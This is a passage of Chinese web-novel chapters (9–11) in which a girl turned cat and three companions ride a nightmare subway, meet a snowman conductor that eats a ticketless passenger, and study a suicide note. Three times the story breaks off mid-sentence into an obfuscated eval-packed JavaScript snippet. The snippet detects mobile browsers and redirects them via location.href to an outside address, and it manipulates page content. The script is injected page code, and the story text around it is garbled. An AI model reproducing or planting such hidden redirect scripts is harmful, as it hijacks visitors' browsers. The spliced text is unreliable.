虽然朝云对大家作战的过去没有记忆,但是她在过来的路上,已经被纪雅音救了很多次,也知道纪雅音怎么极限地带着她逃跑,始终没有丢弃她。 朝云下意识地不希望纪雅音受到伤害。 纪雅音心中的某种冲动越发抑制不住,她刚想回头,就被南明芮预判了,喝止道:“谁都不准回头!跑!” 朝云蓝色的瞳孔逐渐发亮,她盯着那群水鬼,圆圆的小猫眼睛忽然出现了残影,不断拉长、拉长,直到双眼变成狭长的弯刀,竖瞳直勾勾地盯着它们。 朝云一心想着,要保护纪雅音。 【停——】 一道清冽的女声突然出现在朝云的脑海中,下一瞬,这个字仿佛顺着她的竖瞳,轰轰然如同洪钟砸向了身后的水鬼。 所有水鬼唰地同时止住,可是也仅仅只有一瞬,它们又动了起来。 抱着猫的纪雅音觉得自己的头发好像被什么东西勾了一下,但她稍稍用力就挣开了。 她脊背发凉,跑得更快了。 “快点!”宁洛扯着嗓子大喊,“扶梯就在前面了!” 纪雅音来不及细想,跟着宁洛朝扶梯跑去。 朝云却有些头疼,脑海中才开始出现莫名其妙的“沙沙”声,像老旧电视机失去信号时发出的白噪音,然后,她耳边就响起了系统的声音。 【共梦者面板激活】 【编号:1027号】 【姓名:朝云(闪烁中)】 【技能:言灵(灰色)】 【储物箱:锁定中】 【正在连接中……】 【连接失败,尝试重新连接】 【正在连接中……】 【连接失败,识别到该名共梦者已经死亡】 9. 遗书写给何人 “朝云……醒……” “朝……醒醒啊……!” “朝云!” 一声声呼唤,突然把朝云从昏迷之中拉了回来。 她眨眼看了看,发现她们一行人已经上了站台,到了刘福珍的尸体对面。 纪雅音狠狠地松了口气:“太好了!你醒了!” 朝云还有些晕,下意识想开口对她们说话:“嗷呜。” 但只能发出猫叫。 纪雅音心头一软,搂住猫猫头一阵嘬嘬嘬猛亲。 猫猫头有种令人上头的香味呢。 纪雅音砸吧砸吧嘴,恋恋不舍地放开了猫猫头。 朝云在纪雅音的怀里抬头,就看见了三人担忧的眼神。 “刚刚朝云怎么会晕过去,”南明芮伸手摸了摸朝云的脑袋,“阿音,刚才在下面的时候,你的确是队伍的最后一位是吧?” 纪雅音点头如捣蒜,然后猛地反应过来了:“对啊!南姐,你别跟我说刚刚说的都是真的……?” 南明芮:“……你才反应过来吗?那你刚才跟着我们跑什么?” 纪雅音挠了挠头,很无辜:“你们都跑了,我当然得跟上。” 虽然不明白是什么团,但是姐们开团她是必跟的。 宁洛搓了搓自己的胳膊,头皮发麻:“老纪,你还好没回头,不然能给你吓死,你都不知道你刚才后面有多少鬼,咦呃呃呃呃~~” 纪雅音脸色一白:“啊?” 宁洛勾住她的肩膀:“你听我跟你细说啊……” 南明芮懒得理这两个活宝,接过朝云,小猫咪身上软塌塌的,感觉稍微碰碰就要受伤了,南明芮很苦恼:“真是难办,朝云不能说话,技能用不了是一回事,没办法知道你是什么情况才更糟……” 朝云:“咪!” 南明芮:“啊?” 朝云很着急,她想再开口,但是意识到真的没办法说人话,毛绒绒的尾巴急躁地甩来甩去。 南明芮仔细看着着急的猫猫,她用肉垫轻轻拍了拍自己的嘴巴,两颗圆圆的眼睛充满了急切。 她悟了。 “你是不是有办法能说话了?”南明芮突然问。 旁边插科打诨的两人听见这句话,马上过来,紧张又期待地看着朝云。 南明芮:“还记得我们的约定吗?肯定答案就喵一声,否定就喵两声。” 朝云很激动,坚定不移地大声喵起来:“咪!” 刚才她好像在水鬼快要抓住纪雅音的那一瞬间用出了言灵技能,虽然很短暂,但那一下,不仅短暂控制住了水鬼,还让她激活了一个系统。 朝云在心里呼叫:共梦者面板。 【共梦者面板】 【编号:1129号】 【姓名:(待输入)】 【技能:无/待激活】 【储物箱:无】 【当前任务:保护刘福珍,通关噩梦 任务奖励:商城积分*1000;安全区积分*100(每存活一位安全区成员,额外奖励100积分) 特殊奖励:万界翻译器(您可以与任何有沟通意向的生命进行对话)】 只要通关这个噩梦,她就真的可以说话了! 不过,让她感觉有些奇怪的是,按照这个面板来看,每个共梦者只有一个才对。 但她竟然还有一个灰色的面板。 在她面前,是编号为1129号的共梦者面板,姓名是待输入。 而在这个面板旁边—— 朝云看向右边,那也是一个共梦者面板,但整个面板却是灰色的,顶上还有一行红字:连接失败,该名共梦者已死亡。 那是朝云的面板。 【连接失败,该名共梦者已死亡】 【共梦者面板】 【编号:1027号】 【姓名:朝云】 【技能:言灵】 【储物箱:已锁定】 朝云有点困惑。 这个面板是什么?她为什么有两个?还有,整个面板都在不断地强调“朝云”已经死了? 她这不是还好好活着吗,虽然现在只能是个猫。 而且,如果“朝云”已经死了,那她在另一个1129号的共梦者面板里——小猫靛蓝色的眼睛看向【姓名:(待输入)】这一栏——她还能输入自己的名字吗? 朝云干脆试试,只是,当她把“朝云”两个字输入后,马上就被共梦者面板跳出一个红叉,提醒她起名失败。 【该名称已被占用,请重新命名】 朝云:“……” 同为共梦者,南明芮她们三个肯定知道什么原因,但这么复杂的情况,很难喵喵咪咪地说明白。 朝云默默记下,等到通关之后获得这个万界翻译器,一定要好好问清楚。 她依次看向纪雅音、宁洛、南明芮。 一定要通关啊。 朝云在心里给她们加油打气,小猫爪爪努力地做了个握拳鼓劲的手势。 纪雅音看了看她诡异的爪子,同情地握住了它,并且摸了一把小猫肉垫,顺手的事儿。 “放心吧,朝云,”纪雅音郑重承诺,“就算你获得说话能力的条件是失去一只爪,变成残疾猫,我们也不会丢下你的。” 朝云:“……” “乘客们,列车马上就要进站了,本次列车终点站:春寅路。” “请乘客们有序候车,上下车当心缝隙……” 站内突然响起了刺耳的广播声。 像话筒离音箱太近而产生的高频啸叫声。 几人在开往冬亥路的列车进站前都听过这个广播声,但反方向的播报却特别刺耳。 南明芮顶着啸叫声看了一眼站台对面的共梦者们。 ——他们神色如常,仿佛根本没有听见这个声音。 看来声音传播范围是固定在站台的,这样想来也合理,现实中的地铁站,总是能够同时听到两边的进站播报声,但是共梦者们在对面时,从来没有听到过这边的播报声。 宁洛是几人中唯一没有捂住耳朵的,她站在三人最前面,看着一列地铁凭空出现,穿过了地铁站的水纹,直接进入站台中。 南明芮依旧在观察对面——对面连进站的车子都看不见,是不是说明,这其实完全是两个空间? 她低声道:“难怪会出现水鬼。” “什么?”宁洛问。 “上车再说。”南明芮道。 当列车缓缓停下,几人才发现身后莫名其妙出现了乘客,但是不多。 列车像是按下了站台的播放键,只有列车进站,才会让站台“活”过来。 ——列车对梦主而言很重要,为什么? 地铁停稳,车门打开,宁洛走在最前面,抬脚就要进去,忽然手臂被人从身后拉住,制止了她。 宁洛回头,撞进南明芮的眼中:“这辆车不对劲,你等等再进。” 她声音严肃,宁洛微微点头,岿然不动站在她前面,观察起站台上的其他乘客。 噩梦通用规则一:进入噩梦后,请在五分钟内找到通行证,并随身佩戴。 噩梦通用规则二:当你举棋不定之时,可以模仿NPC的举动,不要被梦主发现你是共梦者。 三人站着,哪怕地铁就在眼前,三人也耐心等待着其他人先动。 朝云眨了眨眼,她窝在纪雅音的怀里,率先发现了不对劲。 离车门不远处,有个西装男,他看了一眼手表,又看了一眼时刻表的屏幕,似乎是在确认时间,但是在朝云的眼中,列车时刻表完全是一片黑暗。 来回看了好几次,他才终于确认好了时间。 但西装男没有直接进入车门,而是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17534223|203775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转过身去,他背对着车门,进入了车子里。 南明芮三人也注意到了这个西装男,西装男路过她们三个时,发现自己被注视着,甚至还友好地笑了笑。 这完全不像NPC该有的反应,还是那个结论,这个噩梦果然吞吃了许多人,才能让这些NPC如此栩栩如生。 宁洛低声说:“最怕碰到这种像真人的NPC了,真麻烦。” 纪雅音问南明芮:“南姐,我们也进去?” 南明芮看向朝云,小猫咪短暂地“咪咪”了两声,这是表示否定的含义,然后目光看向了站台上的其他人。 是啊,为什么其他人不上车呢? 南明芮想了想:“再等等,你们看其他人都没动,只上去了一个人。或许上车才是陷阱呢?” 通用规则虽然建议共梦者在举棋不定时模仿NPC,但是也会出现NPC们的举动不一致的情况。 南明芮决定再耐心等一下。 地铁站上的乘客仍旧没有动。 片刻之后,车灯开始闪烁,但站台上的其他人却仍然愣着,而且看他们的表情竟然都是木然,和刚刚那个宛若真人的NPC截然不同。 列车黄灯飞快闪烁,似乎在催促什么。 “南姐?”宁洛也催着问了一句。 南明芮抿了抿嘴,在最终时刻做了决策:“上车吧。只是我们也倒着进去,大家记得要背对着车门。” 照例,宁洛先进,南明芮在中间,纪雅音很细节地反向抱着猫猫,让朝云的背贴着自己,胸口对着外面。 她轻声说:“忍耐一下哦,朝云喵。” 朝云哭笑不得,她又不是真的猫,难道还会挣扎不成? 随着宁洛、南明芮、纪雅音三人依次进入列车中,车门飞快地关上,关门动静像铡刀落下一般。 三人看着车里,只有刚才那个西装男,不过好在西装男在车内是正常的,看来列车内对乘坐姿势没有其他规则。 三人找到个位置,刚一落座,就看见外面忽然飞起了鹅毛大雪。 雪越下越大、越下越大。 外面等车的NPC没有一个动的。 直到大雪完全覆盖了他们,把他们变成了活生生的雪人。 雪人这才动了,但他们还活着吗?不,去思考噩梦里的NPC是否活着,本身就是一件没有意义的事情。 死寂的列车内,西装男突然开口。 “好美的雪啊。” 三人同时转头,看向他。 西装男也转头,对她们三个友好地笑。 “真是可惜,”西装男又说,“外面那些人肯定是买错了车票,上不了这班车,只能在站台上活活冻死了。” 他感慨,然后珍惜地拿出手上的车票。 但三人看见车票时,却陡然愣住——那根本不是什么车票,而是噩梦通行证! 纪雅音眼神很好,低声在南明芮耳边道:“他的通行证是镜像的。” 西装男自顾自道:“车票可真难买啊,就算有命能买,也不一定命能用。” 他笑盈盈地看着她们:“四位朋友,你们的车票是在哪里买的呀?” 西装男逐渐收起了笑,因为他看见了朝云脖子上的通行证。 “哎呀,小猫咪脖子上的车票好像是正向的字,居然是万能车票吗?”他贪婪地看着它,“真好啊,要是我能有一张万能车票就好了……” 西装男突然站起来,朝着三人缓缓走过来。 每走一步,他身上的衣服就被撕出一道口子。 撕开的衣服下面,他的皮肤裸露出来。 纪雅音看了一眼他的皮肤,上面长着密密麻麻的眼睛。 “我要,要万能车票……”西装男痴迷地看着朝云的脖子,“带我走,去春寅路……我要回家……回家……” 他猛地向朝云冲过来。 10.遗书写给何人 “当!” 坐在边上的宁洛握着刀柄单手抬起,长刀立刻挡住了发疯的西装男,长刀尚未出窍,像一根铁棍,稳稳当当地挡在了暴走的西装男前面。 西装男推了推,长刀纹丝不动,宁洛只是单手举着就把他拦了下来。 他转头看向宁洛,身上的眼睛也都注视着她。 真恶心。 宁洛想,她密恐啊,这么多眼睛还是太震撼了。 “能不能杀?”宁洛稍稍偏头,不再看着这个西装男,向南明芮提问。 南明芮双手环胸,答:“这是地铁内,肯定不能杀,想办法在列车员过来之前让他失去意识。” “遵命。”宁洛对南明芮笑了笑。 宁洛起身,振开了长刀,西装男不得不连连后退,见她终于站起来,暴走的西装男更像是有了明确目标—— “你们是一起上车的,所以,你肯定也有吧,你也有万能车票吧!” 话音一落,他便龇牙咧嘴、张牙舞爪地冲着宁洛扑过来。 而宁洛后撤半步,拉住了地铁扶杆,借力凌空飞起,一脚踹到了西装男的太阳穴处。 西装男的太阳穴被痛击,直接歪身倒在了座位上,神志混沌,甩了甩头也没办法回神,但还是挣扎着抬手,手指指向小猫朝云。 但宁洛那一脚正中他的太阳穴,这可不是吃素的,他最终还是躺在座位上晕死过去。 宁洛对自己办事很满意,坐回南明芮旁边,笑嘻嘻地嘚瑟着问:“南姐,怎么列车员还没来,这是第几节车厢来着?” 南明芮看了看车头的方向,考虑到列车员是从一号车厢开始查起,所以刚才在朝云昏倒还没醒过来之前,南明芮就定下她们要进后面的车厢。 这会儿,宁洛都收拾完了这个乘客,但列车员还没查到这一节车厢,可见宁洛动手确实利落。 可南明芮受不了她这个臭屁的劲儿,面不改色,只回答她明面上的问题:“第八节啊,怎么了?” 宁洛:“……” 老好人纪雅音见不得这种画面,她必不能让话掉地上,马上捧场:“哎呀哎呀!宁洛你太厉害啦!真~棒!” 宁洛:“…………” 宁洛忧郁地摸了一把朝云毛绒绒的小猫脑袋,稍微被治愈了。 一阵寒风从车头方向吹过来,空气登时冷了好多,哪怕是宁洛都觉得有些过于凉爽了。 嘻嘻哈哈的几人闭上嘴,看向了车头的方向,一道白色的身影出现在前两个车厢里,看来是列车员来了。 朝云定睛看去,列车员由上下两个雪球组成,看来冬亥路的列车员是雪人。 列车员走得慢吞吞的,因为它要一个个核查乘客的车票。 小猫靛蓝色的瞳仁中映着雪人的身体。 雪人慢吞吞地往前挪,每走一步,都有大雪劈头盖脸压过来。 在她们的前一节车厢只有两个乘客,都是NPC,两个NPC分开坐着,看着雪人过来了,明显非常紧张。 前一个乘客离雪人近一些,他飞快地从手腕上取下了通行证,为了给雪人检查。 雪人不紧不慢地往前“挪”,朝云观察了一会儿。 雪人前面的路先落雪、再结霜、再留下积雪,最后雪人才挪步。 所以是大雪盖到哪里,雪人才能走到哪里? 朝云眨眨眼——合理啊,雪人当然只能存在于雪存在的地方了。 但是这样对于乘客而言就是一种折磨,这雪人带来的“寒潮”,从前两个车厢就开始了,又走得那么慢,就算是能拿得出正确的车票,能不能抗冻也是活下去的重要一环。 正在检票的第一个乘客顺利通过了,雪人把车票还给他,上面结了冰。 第二个乘客明显有些心虚,她找了半天,没找到自己的车票。 雪人慢吞吞地朝她挪动,她竟然往后缩了几步—— 宁洛瞠目结舌:“还能这样吗姐妹?” 南明芮面色沉重地看着那个躲避检票的乘客。 雪人脸色变了,原本洁白和蔼的雪人,眼睛像两颗巨大的圆圆蓝莓,该说不说,看上去还怪可爱的。 但是雪人发现女人拒绝检票,它的两颗“蓝莓”就被咬掉了一个缺口,变成了愤怒的眼型。 纪雅音抱着小猫咪,低声说:“雪人生气了?” 朝云飞快地看了眼纪雅音,用尾巴缠在她的手腕上。 毛绒绒的尾巴搭在手腕上,一点重量也没有,而且小猫咪非常细心地避开了她戴着通行证的左手,而是搭在右手上,肯定是考量到共梦者都会对通行证比较戒备的原因。 纪雅音心头一软,呜,小猫咪果然好爱她。 宁洛和南明芮都在关注着那边的情况,南明芮眯着眼,提醒道:“看那个女生的脚。” 两人一猫同时将目光向她的脚上看去—— 是冰块!雪人列车员弄出来冰块把她冻住了。 雪人一步步靠近那个女人,那女人泪流满面摇着头,她没有车票,她只是想回家罢了。 “我想回去见见我妈妈——”她哽咽着对列车员恳求,“能不能放过我,我真的很想回去。” 但雪人并不理会她的恳求,只是确认她没有车票之后,就突然张开了血盆大口——! 没错,就好像一颗大西瓜以锯齿形切开似的,雪人的脑袋也是如此裂开,紧接着,它的脑袋越变越大,在那个女乘客抖若筛糠的恐惧之中,一口咬掉了她的头和半边肩膀。 右臂因为失去了肩膀作为依托,“啪叽”一声掉在了地上。 鲜血四溅,纯白的雪人被染成红色。 前一节车厢的那个乘客人都吓傻了,眼睛都不敢眨一下。 而在第八节车厢的朝云等人也愣住了。 朝云是因为没见过这种画面,她失忆了,噩梦里的一切对她而言都是崭新的,雏菊人吃人她看见过,雪人吃人还是第一回呢。 而南明芮等人愣住则另有缘故。 “南姐,我在想一个问题,”纪雅音小声道,“其实除了共梦者之外,其他人都是NPC,对吧?” 南明芮沉着声音:“是啊,我也奇怪呢。NPC明明也是噩梦运行的一部分,甚至NPC是支撑噩梦更具有真实性的重要一环,噩梦想要构建出NPC,还要消耗已经吃掉的共梦者,为什么噩梦要安排要吃掉NPC呢。” 她思索着,而其他人还在看着列车员。 雪人吃掉了“残羹剩饭”之后,还从身上扣下来一块雪,勤勤恳恳地做着打扫工作。 雪人身上的雪很神奇,那些血渍经过雪一擦,全部消失了。 宁洛看了半天,发现雪人搞完了卫生之后,才终于往下一节车厢挪移,也就是她们所在的车厢。 “南姐,怪不得你刚才不夸我,”宁洛悟了,“这雪人确实很慢,看来真的不是我干活利落啊。” 南明芮被她噎了一下,没想到宁洛还惦记着自己刚才没夸她的事情,还有,这个人为什么在自己卷自己? 雪人磨磨蹭蹭地进入了第八节车厢。 现在地铁里更冷了,宁洛当着磨叽雪人的面换了位置,坐在南明芮和纪雅音的中间,她俩都往宁洛身上挤,没办法,她太暖和了。 纪雅音用了强化技能之后稍微好一点,干脆把朝云放在了南明芮的腿上。 朝云身上很暖和,南明芮没抱过猫,但是这会儿也顾不上多少,把朝云揽在了怀里。 宁洛御寒全靠一身正气,但朝云不一样,她靠的是真皮草。 对于猫猫而言,这个温度还只是有点点凉的地步。 话说回来南明芮比纪雅音要瘦一些,她的胳膊缺少肌肉和脂肪,朝云趴在她的胳膊上时,稍微有些膈应,不想纪雅音的胳膊,还是挺软乎的。 三人一猫瑟瑟发抖地挤在一起,看着雪人终于走到了被宁洛一脚踢晕的西装男面前。 西装男还在晕厥之中,朝云等人本来还以为雪人会直接给他吃了,结果没想到他的通行证正好放在了手腕上。 雪人看了一眼他的通行证,算是检票成功了。 但是对于西装男随意大小晕,一人霸占两三个位置的行为,雪人不赞同地摇摇头,它用树杈子做成的手扶起西装男,然后用冰块给他冻住了。 在雪人朝这边几人的方向走来时,冰块已经把西装男冻在座位上,这下他能不能醒来也是个问题了。 宁洛却连连点头:“太好了,这样就不用担心他来攻击我们家小猫了。” 雪人虽然磨磨蹭蹭地过来,但她们的车票肯定是没有问题的,毕竟刚才西装男突然发狂,已经足以证明她们的通行证就是所谓的万能车票。 果然,雪人在一个个查过他们的通行证之后,全部放行,但最后在朝云的面前停住了。 朝云不解地看着雪人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537097|203775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她虽然不冷,但是身后三个人已经开始发抖了,就算是热血大笨蛋宁洛,刚才也狠狠打了个喷嚏。 朝云努力抬头,让自己脖子上的通行证暴露在雪人面前——赶紧查,查完之后就走,大家都要被冻死了! 雪人看着小猫咪努力地抬头,圆圆的眼睛滴溜溜地看着自己,实在可爱。 当然,它觉得最可爱的是这个东西—— “你好,小猫咪。” 三人一猫统统眼睛瞪大——雪人说话了! 雪人温柔地问:“我可以和你交换一个东西吗?” 它用树杈子尖尖,碰了碰朝云头顶的雏菊花。 那是雏菊人在春寅路那一站给朝云的。 换!当然换! 朝云说不了话,着急地回头看向南明芮:“咪!” 一声咪,代表肯定。 南明芮马上接上话:“尊敬的列车员,当然可以了,只是不知道您——阿嚏——不知道您愿意拿什么来换呢?” 雪人的目光落在南明芮脸上:“你可以替小猫咪做决定吗?” 朝云点头如捣蒜:“咪!” 南明芮笑着说:“我想,我的猫咪朋友已经同意了。” 雪人搓了搓树杈子,然后才说:“这样吧,你告诉我你想要什么,我看看我有没有。” 南明芮笑了笑,没有回答,想要什么?当然是想要这个噩梦里的重要情报了,可它一个变异列车员,能得到什么有用的情报呢。 直接问刘福珍相关的信息?不,如果它没有,可能就错过了这个宝贵的机会。 那就问关于梦主的信息?知道梦主所在之后,或许可以绕过保护刘福珍的噩梦任务。不,如果梦主在这个噩梦之中隐藏了身份,连NPC都不知道,同样也是竹篮打水一场空。 雪人催促:“快一点,我要去下一节车厢检票了。” 宁洛无语,小声跟纪雅音吐槽:“不是吧雪人,就它这个走路速度,竟然还会着急呢?” 纪雅音闻言抿唇忍住笑。 朝云也在思考要什么,直接索要信息有可能交易失败,那还能交易什么呢? 就在此时,她灵光一闪,想到了一个更好用的东西—— 南明芮也想到了。 “请您给我冬天的信物吧,”南明芮道,“无论什么东西,只要能够代表冬天就好——您知道,后面三站的乘客,都很害怕冬天。” 南明芮和朝云想到的东西是一样的。 按照之前宁洛等人的描述,越靠近冬亥路,车厢里的雏菊人、夏蝉人、桂花人统统都偃旗息鼓。 这说明冬天对其他变异乘客有压制作用。 要不到信息无所谓,但是能够保障后面获取信息的过程安全,也是一个好事。 雪人也松了口气,冬天的信物它有很多,但是像雏菊这样充满春天气息的东西,它却没有。 雪人从怀里掏出了四片晶莹剔透的雪花递给了她们。 南明芮笑眯眯地问:“谢谢您雪人列车员,不过我想问能不能再给我一片?这实在是太好看了。” 毕竟在外面游荡的上官雁还没归队呢,等她归队了也得给她配一个,四片雪花显然不够用。 南明芮眼睛都不眨一下,张口就开始忽悠。 “我要把雪花带回家供起来!” ——雪人离开了。 朝云头顶的雏菊花被摘走,取而代之的,是四人脖子上都挂着的一片雪花吊坠。 刚戴上吊坠,纪雅音就不觉得冷了:“噩梦道具太神奇了,我现在觉得这个温度正正好啊。” 宁洛也恋恋不舍地捏着吊坠:“这东西能带出去吗?我们迟早会碰到什么高温天灾的噩梦,肯定有用。” 南明芮道:“我努努力,应该能带出去。” 朝云闻言,看向了南明芮,什么叫做南明芮努努力就能够带出去。 啊对了,特殊技能? 朝云明白了,或许南明芮的技能就是把什么东西带出噩梦? ——话又说回来,噩梦外面是什么? 好想去见识一下呀。 朝云心想,失去记忆真是不方便,她什么都不知道呢。 …… “对了,趁着还没下车,我刚才想明白了两件事情,现在跟大家对齐一下颗粒度。” 南明芮清了清嗓子,开始了她的专业分析。 11.遗书写给何人 “首先,就是所谓的车票问题——” 朝云的眼神飘到了坐在她们斜对面的西装男身上,那西装男终于清醒了,马上就发现自己被冰块冻在了座位上。 他瞪大眼,猝不及防地和朝云对视上,表情僵了一瞬之后便开始挣扎。 “什么情况!我怎么会被绑在这里!等等——我的车票!我的车票掉了!” 几人往那边一看,才发现“车票”在地上,字体闪烁,看上去就要消失了。 明明被雪人用冰块冻着,但他却出了满脑门的汗,眼睛焦急地盯着地上。 那里是他无比执着的“车票”,也就是通行证,应该是雪人检票时,不小心被弄掉了地上。 朝云看着通行证上的字闪烁,那种莫名其妙的压迫感再次袭来。 在春寅路地铁站的时候,好像她的通行证也这么闪过,对了,还有她遇到的那只黑猫。 那黑猫乍一看好像只是捉弄她,但现在看来,或许是真的想要带走她的通行证也说不定? 毕竟这里可是噩梦啊,真的会有单纯来捣乱的猫吗? 正好,这边的南明芮觉得西装男就是活生生的例子,于是双指并拢指向地上的通行证:“请看,这车票无论怎么看,都和我们的通行证一样,就连解除绑定后会闪烁的设定都和通行证一样。” “众所周知,共梦者进入噩梦的第一件事就是拿到通行证。” 她更加仔细地点出正在闪烁的字迹:“通行证上会写着共梦者的名字,前四分钟,共梦者还是和通行证绑定状态,此时通行证对其他NPC或者共梦者是不可见状态。但是,当通行证上面的字开始闪烁,说明通行证已经与共梦者解除绑定。” 西装□□本听不进去南明芮的解说,他疯了一般地挣扎,想要拿回自己的“车票”,只是身上的冰块如铁坚硬,无论他如何挣扎,都无法脱离。 “接下来我们再类比一下……” 南明芮道:“脱离通行证超出五分钟后,共梦者等于‘死了’,开启会变成被噩梦控制的NPC,那么NPC‘死了’后,又会变成什么呢?” 南明芮话音一落,西装男就给她们做出了真实的回答。 他的身体中间忽然初现一颗黑洞,黑洞旋转,吸纳了一切,西装男就像是被塞进了一个压缩的空间,等到黑洞湮灭之后,原本留在座位上的西装男,竟然变成了一只普通小麻雀。 但是很可惜,即便是鸟,他也被冻在冰块里无法逃脱。 而地上的通行证的字彻底消散,通行证也肉眼可见地开始碳化,最终化为一团黑色的灰烬。 众人面面相觑。 朝云才终于后怕。 前车之鉴啊。 如果春寅路的时候,她没有从黑猫爪下抢回通行证,那她也是这个下场吗? 宁洛和纪雅音纷纷感叹:“长见识了。” 南明芮也长见识了,看完了西装男的下场,才说出自己的结论:“看来,在司机地铁上,NPC在离开‘车票’之后,受到的惩罚和共梦者离开通行证之后的惩罚是一样的。可见四季地铁的车票真的是通行证——那么,为什么这个副本的NPC会需要通行证呢?” “对哦,”宁洛眨眨眼,“通行证不是只有共梦者才有的吗?其他噩梦里也没见到哪个NPC把通行证当宝贝啊。” “我有一个猜测,也和刚刚在地铁下面遇到水鬼的原因有关。”南明芮说。 说到水鬼,刚刚还在认真听讲的纪雅音马上开始发抖,不敢置信:“我们都上地铁了,居然还有水鬼的事儿呢?” 车厢里逐渐回暖,没有刚才那么冷了,三人往后面的车厢看了一眼,发现雪人列车员已经去到了最后一节车厢,也就是第十车厢,第八车厢就回归了正常的温度。 看来雪人的影响范围是附近的一个车厢范围内。 回暖之后,西装男,啊不,小麻雀身上的冰块开始解冻,它张开翅膀扑棱着,从座位跌下来,应该还在学习怎么飞。 看着那只挣扎学飞的鸟,南明芮心想,在噩梦中如果走错了一步,就有可能变成这样。 真是唇亡齿寒。 南明芮停了停,才继续说她的猜测:“这是论坛上的一个假说,认为噩梦们彼此其实是有联系的,像是以海面为基准,不断向海底生长的树,大家都学过‘顶端优势’,套用到噩梦身上,则是越向下,噩梦的等级越高。” “而水鬼就是不断坠落的那些死者,无法进入噩梦,也无法离开海面。而且由于他们不断地下坠,所以越靠近高级噩梦,就是越靠近海底,也就越容易碰到水鬼,越靠近噩梦的边缘,也越容易遇到水鬼。” 说到“边缘”,纪雅音也想起来了进入冬亥站之前的画面。 进入四季地铁中后,周围一切都是黑色的,而进入地铁站,要先穿过一层水纹。 难道说—— “没错,”南明芮看出纪雅音终于开始动脑子了,感到十分欣慰,“我觉得,四季地铁或许就是一条能够串联多个噩梦的线路。” 南明芮:“所以,通行证对于四季地铁上NPC们的作用,或许也和共梦者们需要通行证一样,这是一个锚。有了锚,才能够离开原地向外探索。” “NPC们想要穿梭不同的噩梦,就必须乘坐四季地铁。而乘坐四季地铁,必须要有通行证,就像共梦者必须要有通行证一样。” 她现在琢磨着,或许四季地铁难度高就是这个原因。 寻常噩梦是在单个噩梦中寻找线索,而这个噩梦要完成任务,必须要穿梭多个噩梦找到真相才行。 刘福珍到底是什么来头? 明明只是一个八年级的孩子罢了,居然还需要跨越多个噩梦去拯救她。 南明芮思索着。 ——等等! 八年级? 才八年级吗? 南明芮语速飞快道:“刘福珍的遗书再给我看一下!” 宁洛不明所以,但还是老老实实地把遗书打开:“真奇怪,我忘记给你拿地上的遗书了吗?” 南明芮懒得理她,储物箱一次只能预览一件东西,为了避免重要物品丢失,所以共梦者们大部分都是直接放在储物箱里预览,而不是真的把道具拿出来。 在宁洛拿出的遗书上—— “遗书。” “15年前,如果没有遇见他就好了。” “刘福珍,2004年12月20日。” 而南明芮预览的是刘福珍的校园卡—— “██初级中学校园卡。” “八年级(二)班。” “刘福珍。” 刚才都在注意校园卡上的照片了,所以忽略了文字也有信息。 南明芮反复确认了一遍,终于悟了。 “八年级孩子,是多大年纪?”她陡然转头问旁边两个人。 纪雅音和宁洛俩人同步开始掰手指算时间。 此时地铁已经进站了,这一站到的是秋申路。 谢天谢地,乘坐反方向列车的乘客很少,秋申路比冬亥路更少,外面甚至没有乘客。 但即便如此,地铁也没有马上开走, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17539359|203775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 依旧老老实实地停靠一段时间。 还没等她俩算明白,南明芮就脱口而出:“八年级最多十三岁。” 纪雅音:“……南姐,你算这么快,纯粹是多余问我俩了。” 纪雅音看她已经算出来,干脆放弃了,但宁洛不死心还在算。 南明芮看向唯一一个智商在线的队友,小猫咪朝云。 朝云也立刻明白了她在意的点,她直接抬起两只前爪,直勾勾地站起来,左右分别查看对比着刘福珍的遗书和校园卡。 她懂了! 朝云和南明芮对视。 南明芮深深吸了口气:“没错,自杀时最多才十三岁的刘福珍,遗书中为什么写下的是‘十五年前’的遗憾?” 除非,刘福珍自杀的真正的原因,在她出生以前就出现了。 而长大后的刘福珍发现了这一原因,所以才选择了结束生命。 如果她们想要完成任务——保护刘福珍,那么她们必须要回到那个原因发生的过去。 纪雅音恍然大悟:“我懂了!” 宁洛急头白脸地问纪雅音:“老纪,你也懂了?懂啥了?怎么就我没懂啊?” 南明芮根本没打算让宁洛懂,她自顾自地继续说。 “我们再看遗书——‘刘福珍,2004年10月20日’,名字下面,应该就是落款时间。” 南明芮道:“虽然噩梦中经常出现时间混乱的情况,以前我们还去过古代逃荒背景的噩梦,但是像这种精确到年月日的还是少见。” 她问:“如果我们认真对待这个噩梦中的时间要素,完全按照刘福珍的时间线来计算,那么2004年的十五年前是什么时候?” 宁洛又想掰手指,但手刚抬起来就被南明芮飞快地摁住了。 “不用你帮忙了,我自己可以算,”南明芮飞快道,“2004年的十五年前是1989年。” 